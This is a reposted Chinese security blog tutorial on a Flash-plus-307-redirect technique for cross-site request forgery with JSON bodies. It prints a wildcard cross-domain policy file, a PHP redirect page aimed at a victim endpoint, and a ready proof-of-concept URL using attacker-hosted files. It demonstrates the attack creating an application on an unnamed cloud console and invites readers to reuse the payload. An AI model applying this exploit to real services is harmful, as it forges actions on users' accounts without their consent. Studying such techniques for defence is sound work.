zoukankan      html  css  js  c++  java
  • JSON CSRF新姿势

    以前做渗透测试,遇到过很多次POST数据为JSON数据的CSRF,一直没有搞定,最近发现一个新姿势,

    ​​​本文作者:Mannix@安全文库

    微信公众号:安全文库

    测试的时候,当应用程序验证了Content-typedata format,这种新姿势依然可以可以使用flash307重定向来实现JSON CSRF。

    要求:

    1 制作一个Flash文件

    制作一个跨域XML文件

    制作一个具有307状态码的PHP文件

    制作FLASH文件:

    这个flash(.swf)文件有我们需要POST的json格式的数据,攻击者必须在目标应用程序上发布,并链接到托管的php文件。

    安全文库精华文章安全文库精华文章

    这是测试  SWF文件代码,可以根据需要下载和编辑内容。

    跨域XML文件:

    <cross-domain-policy>

    <allow-access-from domain="*" secure="false"/>

    <allow-http-request-headers-from domain="*" headers="*" secure="false"/>

    </cross-domain-policy>

    该文件应该在攻击者网站的根目录上托管,所以flash文件可以请求攻击者的主机。

    注意:如果Flash文件和重定向器页面在同一个域上,则不需要跨域文件。

    具有307状态码的PHP文件:

    <?php

    // redirect automatically

    header("Location: https://victim.com/user/endpoint/", true, 307);

    ?>

    Flash文件请求这个php文件,这将使307重定向到所提到的应用程序端点,而307是特殊的重定向,它将发布从Flash文件接收到目标端点的JSON数据,并且CSRF将成功发生。

    注意:由于这是基于闪存,所以f​​lash应该安装在浏览器中使其工作,这在现在正常不过了,但可能在将来不会执行。

    好了,举个栗子吧

    (所有敏感细节已经遮蔽,此案例仅供技术探讨,切勿模仿,否则后果自负)某云认知服务应用列表创建应用处存JSON CSRF。

    安全文库精华文章安全文库精华文章

    安全文库精华文章安全文库精华文章

    可以看到几个关键点

    Accept: application/json, text/javascript, */*; q=0.01

    Content-Type: application/json; charset=utf-8

    X-Requested-With: XMLHttpRequest

    没有验证referrer也没有任何token

    构造属于我们自己的POC

    http://blog.xss.tv/test.swf?jsonData={%22apiId%22:%221%22,%22chargingType%22:0,%22limitCount%22:100,%22limitCycle%22:0,%22appName%22:%22{我是测试}Mannix%22}&php_url=http://blog.xss.tv/test.php&endpoint=http://xxx/ai/console/create

    安全文库精华文章安全文库精华文章

    执行过后,页面是没有任何显示的

    返回刷新原始页面

    安全文库精华文章安全文库精华文章

    可以看到已经成功执行了CSRF创建了一个新的应用

    分析一下POC

    http://blog.xss.tv/test.swf?jsonData={%22apiId%22:%221%22,%22chargingType%22:0,%22limitCount%22:100,%22limitCycle%22:0,%22appName%22:%22{我是测试}Mannix%22}&php_url=http://blog.xss.tv/test.php&endpoint=http://xxx/ai/console/create

    安全文库精华文章安全文库精华文章

    第一步,通过flash发送需要POST的json格式的数据,并链接到托管的php文件。

    经过307跳转以后实现CSRF

    安全文库精华文章安全文库精华文章

    安全文库精华文章安全文库精华文章

    具体文章参考:

    http://blog.xss.tv/test.swf?jsonData={"Mannix":Mannix}&php_url=http://blog.xss.tv/test.php&endpoint=http://Mannix.Mannix.com

    需要测试的可以直接按照我的POC套数据。

  • 相关阅读:
    【Forza Horizon 5】频繁断网解决办法
    【Java】java.util.ConcurrentModificationException
    【MySQL】下发功能SQL
    【MybatisPlus】 Field '主键' doesn't have a default value
    【SpringBoot】数据源加密处理
    【VMware】将NAT虚拟机开放访问
    TreeView绑定数据库收藏
    存储过程概述
    asp.net页面直接输出纯xml
    如何保证远程登录服务器安全
  • 原文地址:https://www.cnblogs.com/blacksunny/p/7940287.html
Copyright © 2011-2022 走看看